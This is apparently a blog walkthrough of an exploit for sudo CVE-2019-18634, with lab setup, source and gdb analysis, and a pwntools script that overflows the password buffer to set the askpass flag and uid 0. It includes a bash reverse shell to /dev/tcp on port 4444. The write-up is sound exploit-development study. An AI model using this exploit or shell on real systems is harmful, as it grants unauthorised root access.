• This post is a complete walkthrough for the process of writing an exploit for CVE 2019-18634. I will talk about the methodologies used and why is it such a good bug to begin your real world exploitation skills.
  • This bug allows for Local Privilege Escalation because of a BSS based overflow, which allows for the overwrite of user_details struct with uid 0, essentially escalating your privilege. This bug can be triggered even by users not listed in the sudoers file
  • There is no impact unless pwfeedback has been enabled.

Prelude

My journey started with a member in the OpenToAll slack group posting a link for some CVE advisory. Going through the advisory highlights some of the points which made me think I can use this bug for my first CVE POC.

  • a user may be able to trigger a stack-based buffer overflow
  • versions 1.7.1 to 1.8.30 inclusive are affected
  • Exploiting the bug does not require sudo permissions
  • the stack overflow may allow unprivileged users to escalate to the root account

All of these make this bug a very lucarative option for a newbie to start, and since this is just a stack based buffer overflow, I decided to give it a try.

Setup

To not ruin my default Linux installation, I decided to reproduce the bug in a docker container. It would be lighter than a full blown VM and I won’t have to worry about the installation ruining something if it goes wrong. 80% of the Dockerfile has been copied from grazfather’s Pwndock. My addition to it is the automatic build script to deploy the sudo version I needed to test. sudouser for the user which has sudo privileges, and testuser for the user without sudo privileges.

Dockerfile

RUN adduser --disabled-password --gecos '' sudouser
RUN adduser --disabled-password --gecos '' testuser
RUN echo sudouser:sudouser | chpasswd
RUN echo testuser:testuser | chpasswd

COPY sudo-1.8.25p1 /tmp/sudo-1.8.25p1
COPY build /tmp/sudo-1.8.25p1
WORKDIR /tmp/sudo-1.8.25p1
RUN chmod +x ./build
RUN ./build

build.sh

Note the pwfeedback in /etc/sudoers, need to set it to reach the codepath for the vulnerability.

#!/bin/bash

sed -e '/^pre-install:/{N;[email protected];@ -a -r $(sudoersdir)/sudoers;@}' -i plugins/sudoers/Makefile.in

./configure --prefix=/usr              \
            --libexecdir=/usr/lib      \
            --with-secure-path         \
            --with-all-insults         \
            --with-env-editor          \
            --enable-pie               \
            --docdir=/usr/share/doc/sudo-1.8.31 \
            --with-passprompt="[sudo] password for %p: "

make
make install
ln -sfv libsudo_util.so.0.0.0 /usr/lib/sudo/libsudo_util.so.0

cat > /etc/sudoers << "EOF"
Defaults	env_reset,pwfeedback
Defaults	mail_badpass
Defaults	secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin"
root	ALL=(ALL:ALL) ALL
%admin ALL=(ALL) ALL
%sudo	ALL=(ALL:ALL) ALL
EOF

usermod -aG sudo sudouser

Crash

For sudo versions prior to 1.8.26, and on systems with uni-directional pipes, 
reproducing the bug is simpler. Here, the terminal kill character is set to the 
NUL character (0x00) since sudo is not reading from a terminal. This method is 
not effective in newer versions of sudo due to a change in EOF handling introduced 
in 1.8.26.

I decided to give the 1.8.25p1 version a try. After setting up my docker, I decided to reproduce the crash with the payload given in the advisory. The crash happened as expected.

perl -e 'print(("A" x 100 . chr(0)) x 50)' | sudo -S -k id
Password: Segmentation fault (core dumped)

Its time to get to the root of the bug (pun intended)

Debugging

sudo is a suid binary

-rwsr-xr-x 1 root root 519024 Feb  5 21:29 /usr/bin/sudo

You cannot just run a sudo command from a non privileged user and attach the debugger to it. The debugger needs to run as root and now when sudo is triggered as a non privileged user, the debugger can attach to it given its pid.

Let’s start by setting up a pwntools script to run sudo and give input to it

import sys
from pwn import *

TARGET=os.path.realpath("/usr/bin/sudo")

p = process([TARGET,"-S", "id"])
pause()
payload = ("A"*100+"\x00")*50
p.recvuntil("Password: ")
p.sendline(payload)
p.interactive()
sys.exit(0)

Running this pauses the script, giving us time to attach the debugger
Once attached, continue the execution in gdb and press any key to continue the python script.
You can see the result below

[+] Starting local process '/usr/bin/sudo': pid 21958
[*] Paused (press any to continue)

asciicast

At 00:21, we get a segmentation fault in the debugger and we have the complete stack trace to see how we reached this point. This will come very handy while analysing the bug.

Analysis of the Bug

First a very important line from the advisory

The bug can be reproduced by passing a large input with embedded terminal 
kill characters to sudo from a pseudo-terminal that cannot be written to

The phrase ‘from a pseudo-terminal that cannot be written to’ is very important as without that specific condition, the bug cannot be triggered, so first let’s focus on that part. We will look at the code to understand how the bug manifests.

Remember from the stack trace, the function which crashes is getln, so lets find that first.

A very good technique to find bits in complete source directory is the grep trick, which can list the files containing a string.

➜  sudo-1.8.25p1 grep -nr "getln"           
config.h:252:/* Define to 1 if you have the `fgetln' function. */
config.h.in:251:/* Define to 1 if you have the `fgetln' function. */
lib/util/getline.c:43:    buf = fgetln(fp, &len);
configure.ac:2559:    AC_CHECK_FUNCS([fgetln])
src/tgetpass.c:51:static char *getln(int, char *, size_t, int);
src/tgetpass.c:178:    pass = getln(input, buf, sizeof(buf), ISSET(flags, TGP_MASK));
src/tgetpass.c:284:    pass = getln(pfd[0], buf, sizeof(buf), 0);
src/tgetpass.c:308:getln(int fd, char *buf, size_t bufsiz, int feedback)
src/tgetpass.c:314:    debug_decl(getln, SUDO_DEBUG_CONV)
configure:19226:    for ac_func in fgetln
configure:19228:  ac_fn_c_check_func "$LINENO" "fgetln" "ac_cv_func_fgetln"
configure:19229:if test "x$ac_cv_func_fgetln" = xyes; then :

Ignoring the config lines and some calling lines, we can guess tgetpass.c:308 is our candidate
Let’s analyse the bug

static char * getln(int fd, char *buf, size_t bufsiz, int feedback){
    size_t left = bufsiz;
    ssize_t nr = -1;
    char *cp = buf;
    char c = '\0';
    debug_decl(getln, SUDO_DEBUG_CONV)

    if (left == 0) {
	errno = EINVAL;
	debug_return_str(NULL);		/* sanity */
    }

    while (--left) {
	nr = read(fd, &c, 1);
	if (nr != 1 || c == '\n' || c == '\r')
	    break;
	if (feedback) {
	    if (c == sudo_term_kill) {
		while (cp > buf) {
		    if (write(fd, "\b \b", 3) == -1)
			break;
		    --cp;
		}
		left = bufsiz;
		continue;
	    } else if (c == sudo_term_erase) {
		if (cp > buf) {
		    if (write(fd, "\b \b", 3) == -1)
			break;
		    --cp;
		    left++;
		}
		continue;
	    }
	    ignore_result(write(fd, "*", 1));
	}
	*cp++ = c;
    }
    *cp = '\0';
    if (feedback) {
	/* erase stars */
	while (cp > buf) {
	    if (write(fd, "\b \b", 3) == -1)
		break;
	    --cp;
	}
    }

    debug_return_str_masked(nr == 1 ? buf : NULL);
}

Basically what the function does is, copies buf and bufsiz to new values, cp and left respectively, I am guessing, cp means current pointer. Then it starts looping while there is still space left in the buffer. It uses a read call to read one byte from the file descriptor, and analyses the character received. If it is a new line or carriage return or if no character was read, the loop will break and the password is returned to the caller.

Note the line if(feedback), in that check, if the feedback is enabled then a ‘*’ needs to be printed on the fd(pty) for every character entered, and if the delete button is pressed, the * needs to be removed. To remove the asterisk ‘\b’ or backspace is written to the fd and this deletes the asterisk.

Can you spot the bug?

if (c == sudo_term_kill) {
while (cp > buf) {
    if (write(fd, "\b \b", 3) == -1)
    break;
    --cp;
}
left = bufsiz;
continue;

If the write fails, the loop breaks and the left is set to bufsize, but cp is not reset back to the original position.

Hence it very important to have the write fail, if the write doesn’t fail the bug will never trigger. This answers the cannot be written to part, but what about the pseudo-terminal, why is that needed? To understand that we need to focus on the line if (c == sudo_term_kill), and see where this sudo_term_kill character comes from. Using the same grep trick, we see the following

➜  sudo-1.8.25p1 grep -nr "sudo_term_kill"
lib/util/util.exp:134:sudo_term_kill
lib/util/util.exp.in:102:sudo_term_kill
lib/util/term.c:101:__dso_public int sudo_term_kill;
lib/util/term.c:236:	sudo_term_kill = term.c_cc[VKILL];
src/tgetpass.c:305:extern int sudo_term_erase, sudo_term_kill;
src/tgetpass.c:326:	    if (c == sudo_term_kill) {

sudo_term_kill = term.c_cc[VKILL], looking at the reference for VKILL, we understand that it is something set by termios. sudo uses termios to setup echo/no echo for the password and probably for variety of other things. Using a pty or pseudo-terminal is important because we need null bytes to exploit the bug. If we don’t use a pty, VKILL is set to '\0’, making exploitaton impossible.

Let’s now write the relevant code which uses a pty and can also make the write fail

import sys,os
from pwn import *

TARGET=os.path.realpath("/usr/bin/sudo")

mfd, sfd = os.openpty()
fd = os.open(os.ttyname(sfd), os.O_RDONLY)

We first open a pty with os.openpty(), then we get the name of the fd, and open it in readonly mode, we now pass this fd to the program as the stdin, since the fd was opened in readonly, the write will always fail, we can write to mfd and that data would be sent over to fd, but nothing written to fd would be sent back. So no password prompt now :). We also change the character from “\x00” to “\x15” because null byte now won’t crash the sudo binary.

import sys,os
from pwn import *

TARGET=os.path.realpath("/usr/bin/sudo")

mfd, sfd = os.openpty()
fd = os.open(os.ttyname(sfd), os.O_RDONLY)

p = process([TARGET,"-S", "id"],stdin=fd)
pause()
payload = ("A"*100+"\x15")*50
os.write(mfd, payload+"\n")
pause()
sys.exit(0)
[+] Starting local process '/usr/bin/sudo': pid 4487
[*] Paused (press any to continue)
[*] Paused (press any to continue)
[*] Process '/usr/bin/sudo' stopped with exit code -11 (SIGSEGV) (pid 4487)

Now that we have reproduced the POC with the right control character ('\x15’) and also can debug it correctly, let’s move on to exploitation.

Exploitation

Runing checksec on the binary

gef➤  checksec
[+] checksec for '/usr/bin/sudo'
Canary                        : ✓ 
NX                            : ✓ 
PIE                           : ✓ 
Fortify                       : ✓ 
RelRO                         : Full

Looking at this might scare you away from trying to exploit sudo, but let’s focus on the primitives we have. We have a bss overflow and no RIP control, so let’s get creative.

Initially before the exploitation, while looking at the help of sudo, I noticed the askpass option

sudo -h 
sudo - execute a command as another user
  -A, --askpass                 use a helper program for password prompting

man sudo describes askpass as

Normally, if sudo requires a password, it will read it from
the user's terminal.  If the -A (askpass) option is speci‐
fied, a (possibly graphical) helper program is executed to
read the user's password and output the password to the stan‐
dard output.  If the SUDO_ASKPASS environment variable is
set, it specifies the path to the helper program.  Otherwise,
if sudo.conf(5) contains a line specifying the askpass pro‐
gram, that value will be used.  For example:

    # Path to askpass helper program
    Path askpass /usr/X11R6/bin/ssh-askpass

If no askpass program is available, sudo will exit with an
error.

Okay, so sudo can execute a user defined program, but at what privileges? Let’s look for the code reference for this askpass

grep reveals sudo_askpass as: (I have not included the unnecessary code from the top and bottom)

/*
 * Fork a child and exec sudo-askpass to get the password from the user.
 */
static char *
sudo_askpass(const char *askpass, const char *prompt)
{
    child = sudo_debug_fork();
    if (child == -1)
	sudo_fatal(U_("unable to fork"));

    if (child == 0) {
	/* child, point stdout to output side of the pipe and exec askpass */
	if (dup2(pfd[1], STDOUT_FILENO) == -1) {
	    sudo_warn("dup2");
	    _exit(255);
	}
	if (setuid(ROOT_UID) == -1)
	    sudo_warn("setuid(%d)", ROOT_UID);
	if (setgid(user_details.gid)) {
	    sudo_warn(U_("unable to set gid to %u"), (unsigned int)user_details.gid);
	    _exit(255);
	}
	if (setuid(user_details.uid)) {
	    sudo_warn(U_("unable to set uid to %u"), (unsigned int)user_details.uid);
	    _exit(255);
	}
	closefrom(STDERR_FILENO + 1);
	execl(askpass, askpass, prompt, (char *)NULL);
	sudo_warn(U_("unable to run %s"), askpass);
	_exit(255);
    }

Note the line setuid(user_details.uid), our program will be executed with our privileges, but if we manage to set the user_details.uid to 0, our program might run as root. So where does this user_details structure lies? Let’s look at gdb. We set a breakpoint at tgetpass.c:333, and start our python program. Attaching to the debugger and continuing the python program immediately hits the breakpoint.

gef➤  i b
Num     Type           Disp Enb Address            What
1       breakpoint     keep y   0x0000560340c6b981 in getln at ./tgetpass.c:333
	breakpoint already hit 1 time
gef➤  p buf
$2 = 0x560340e762c0 <buf> ""

gef➤  p &user_details
$3 = (struct user_details *) 0x560340e76500 <user_details>

gef➤  p user_details
$4 = {
  pid = 0x7d6c, 
  ppid = 0x7d69, 
  pgid = 0x7d6c, 
  tcpgid = 0x7d6c, 
  sid = 0x7d6c, 
  uid = 0x3e8, 
  euid = 0x0, 
  gid = 0x3e8, 
  egid = 0x3e8, 
  username = 0x560342e1ecd5 "sudouser", 
  cwd = 0x560342e1ef14 "/mnt", 
  tty = 0x560342e1ef34 "/dev/pts/4", 
  host = 0x560342e1efa5 "sudotester", 
  shell = 0x560342e1ecf0 "/bin/bash", 
  groups = 0x560342e1eea0, 
  ngroups = 0x2, 
  ts_cols = 0x50, 
  ts_lines = 0x18
}

gef➤  p/d 0x560340e76500-0x560340e762c0
$5 = 576

Our user_details struct lies 576 bytes ahead of the buffer position, very well, we can very easily change its uid to 0, but how do we make the program follow this path? We cannnot just start sudo with -A flag as the overflow lies in the input prompt. We need to find the code which dictates the path of the program.

➜  src grep -nr "sudo_askpass"
tgetpass.c:52:static char *sudo_askpass(const char *, const char *);
tgetpass.c:117:	debug_return_str_masked(sudo_askpass(askpass, prompt));
tgetpass.c:238:sudo_askpass(const char *askpass, const char *prompt)
tgetpass.c:244:    debug_decl(sudo_askpass, SUDO_DEBUG_CONV)

sudo_askpass is being called in tgetpass.c line 117

if (ISSET(flags, TGP_ASKPASS)) {
	if (askpass == NULL || *askpass == '\0')
	    sudo_fatalx(U_("no askpass program specified, try setting SUDO_ASKPASS"));
	debug_return_str_masked(sudo_askpass(askpass, prompt));

If TGP_ASKPASS is set the program takes the execution path and flags is passed as a parameter to tgetpass. Looking at the backtrace, tgetpass was called by sudo_conversation in conversation.c line 72.

	int flags = tgetpass_flags;
    .
    .
    .
	/* Read the password unless interrupted. */
	pass = tgetpass(msg->msg, msg->timeout, flags, callback);
	if (pass == NULL)

We can now use gdb to switch frames and find the location of tgetpass_flags

gef➤  frame 2
#2  0x0000560340c5a933 in sudo_conversation (num_msgs=<optimized out>, msgs=<optimized out>, replies=0x7ffcb4f7fea8, callback=0x7ffcb4f802f0) at ./conversation.c:72
72			pass = tgetpass(msg->msg, msg->timeout, flags, callback);
gef➤  p tgetpass_flags
$6 = 0x2
gef➤  p &tgetpass_flags
$7 = (int *) 0x560340e764e4 <tgetpass_flags>
gef➤  frame 0
#0  getln (fd=0x0, buf=0x560340e762c0 <buf> "", feedback=0x8, bufsiz=0x100) at ./tgetpass.c:334
334		    } else if (c == sudo_term_erase) {
gef➤  p buf
$8 = 0x560340e762c0 <buf> ""
gef➤  p/d 0x560340e764e4-0x560340e762c0
$9 = 548

tgetpass_flags lies 548 bytes ahead of the buffer, so we can overwrite the flags too.
We now have our exploit path ready

  1. Move the pointer ahead by 548 bytes, by abusing the buffer overflow
  2. SET TGP_ASKPASS flag
  3. Again move the pointer ahead till we reach user_details struct
  4. Set UID to 0

At this stage, we just can start the program with SUDO_ASKPASS environment variable set to the program we want to execute and it should all play out perfectly.

When I was filling the buffer, I used the character A to fill the buffer and my program kept crashing because of SIGILL. I was very sure there cannot be a SIGILL because of the type of vulnerability, looking around the code, I spotted, a signo buffer which handled all the signals sudo received and it resent it back to itself. This is why I kept getting a SIGILL. After switching from character A to null byte my root shell popped.

Let’s finish writing the code for the python exploit

We first create the program to be run by askpass, I will be using a reverse shell which connects to out listener on port 4444

rs.sh

#!/bin/bash
bash -i >& /dev/tcp/127.0.0.1/4444 0>&1

We then start a server at port 4444
We fill the buffer with 548 0s and then set the flags
We then fill it with 20 more 0s to reach the user_details struct
We then fill the userdetails struct with the right details, but set uid with three null chars as the \n is replaced by \0 by the getln function, making the uid 0

exploit.py

r=listen(4444)    

mfd, sfd = os.openpty()
fd = os.open(os.ttyname(sfd), os.O_RDONLY)

p = process([TARGET,"-S", "id"],env={'SUDO_ASKPASS':"/tmp/rs.sh"}, stdin=fd)
pid = p.pid
ppid = util.proc.parent(pid)

payload = "\x00\x15"*548
payload += p64(setFlags("TGP_STDIN|TGP_ASKPASS"))
payload += "\x00\x15"*(20)
payload += p32(pid)
payload += p32(ppid)
payload += p32(pid)
payload += p32(pid)
payload += p32(pid)
payload += "\x00"*3
payload += "\n"

os.write(mfd, payload)
r.wait_for_connection()
r.interactive()
    
sys.exit(0)

Result

asciicast

Conclusion

The exploit can work very easily for versions >=1.8.26 as the eof handler in newer version will only handle the 0x4 or EOF character, not using that character anywhere will lead to a flawless execution of the exploit.

This was a very good learning opportunity for me and I would like to thank @vakzz for helping me deal with the write fails, I initially couldn’t understand how to make the write fail and that was super frustrating but nonetheless a learning experience.

In my opinion, this is a very good vulnerability to start with real world binaries as the complete source code is available and doesn’t require weird pointer manipulations and other stack setup to get a shell, the win function is already present and all you need to do is guide the program to towards it and overflow some bits. It also teaches a lot about terminals, pty, the special characters and ends up being super fun to exploit.

You can find the complete code on my github
Right now it only works for version 1.8.25 but only the offsets need to be changed to put it to use for other versions.

Feel free to ping me on twitter or disqus here for any questions.